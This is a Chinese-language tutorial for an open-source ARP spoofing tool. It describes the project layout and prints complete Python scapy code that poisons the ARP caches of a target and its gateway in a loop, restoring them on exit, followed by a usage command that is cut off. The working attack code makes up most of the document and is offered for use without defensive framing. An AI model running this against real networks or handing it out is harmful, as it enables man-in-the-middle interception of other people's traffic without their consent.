Arp-Spoofer 开源项目使用教程
1. 项目的目录结构及介绍
Arp-Spoofer 项目的目录结构如下:
Arp-Spoofer/
├── arpspoof.py
├── README.md
└── requirements.txt
arpspoof.py
: 项目的启动文件,包含 ARP 欺骗攻击的主要逻辑。README.md
: 项目说明文档,包含项目的基本介绍和使用方法。requirements.txt
: 项目依赖文件,列出了运行该项目所需的 Python 包。
2. 项目的启动文件介绍
arpspoof.py
是项目的启动文件,主要功能是执行 ARP 缓存中毒攻击(ARP Spoofing)。以下是该文件的主要内容和功能介绍:
import argparse
import time
import scapy.all as scapy
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("target_ip", help="IP address currently assigned to the target")
parser.add_argument("-i", "--interface", help="Interface on the attacker machine to send packets from")
parser.add_argument("--attackermac", help="MAC address of the NIC from which the attacker machine will send the spoofed ARP packets")
parser.add_argument("--gatemac", help="MAC address of the NIC associated to the gateway")
parser.add_argument("--targetmac", help="MAC address of the NIC associated to the target")
parser.add_argument("--gateip", help="IP address of the gateway")
parser.add_argument("--interval", type=int, help="Time interval between ARP packets")
parser.add_argument("-d", action="store_true", help="Enable debug mode")
parser.add_argument("-f", action="store_true", help="Enable fast mode")
return parser.parse_args()
def spoof(target_ip, target_mac, spoof_ip):
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, destination_mac, source_ip, source_mac):
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
def main():
args = get_arguments()
target_ip = args.target_ip
target_mac = args.targetmac
gateway_ip = args.gateip
gateway_mac = args.gatemac
interval = args.interval if args.interval else 2
try:
while True:
spoof(target_ip, target_mac, gateway_ip)
spoof(gateway_ip, gateway_mac, target_ip)
time.sleep(interval)
except KeyboardInterrupt:
print("Restoring ARP tables...")
restore(target_ip, target_mac, gateway_ip, gateway_mac)
restore(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == "__main__":
main()
get_arguments()
: 解析命令行参数,包括目标 IP、接口、攻击者 MAC 地址、网关 MAC 地址、目标 MAC 地址、网关 IP 地址等。spoof()
: 发送 ARP 欺骗包,修改目标设备的 ARP 缓存。restore()
: 恢复目标设备的 ARP 缓存。main()
: 主函数,循环发送 ARP 欺骗包,直到用户手动停止。
3. 项目的配置文件介绍
Arp-Spoofer 项目没有专门的配置文件,所有的配置都是通过命令行参数进行设置的。以下是一些常用的命令行参数示例:
python arpspoof.py 192.168.1.100 -i eth0 --attackermac 00:11:22:33:44:55 --gatemac 00:11:22:33:44:55 --targetmac 00:11: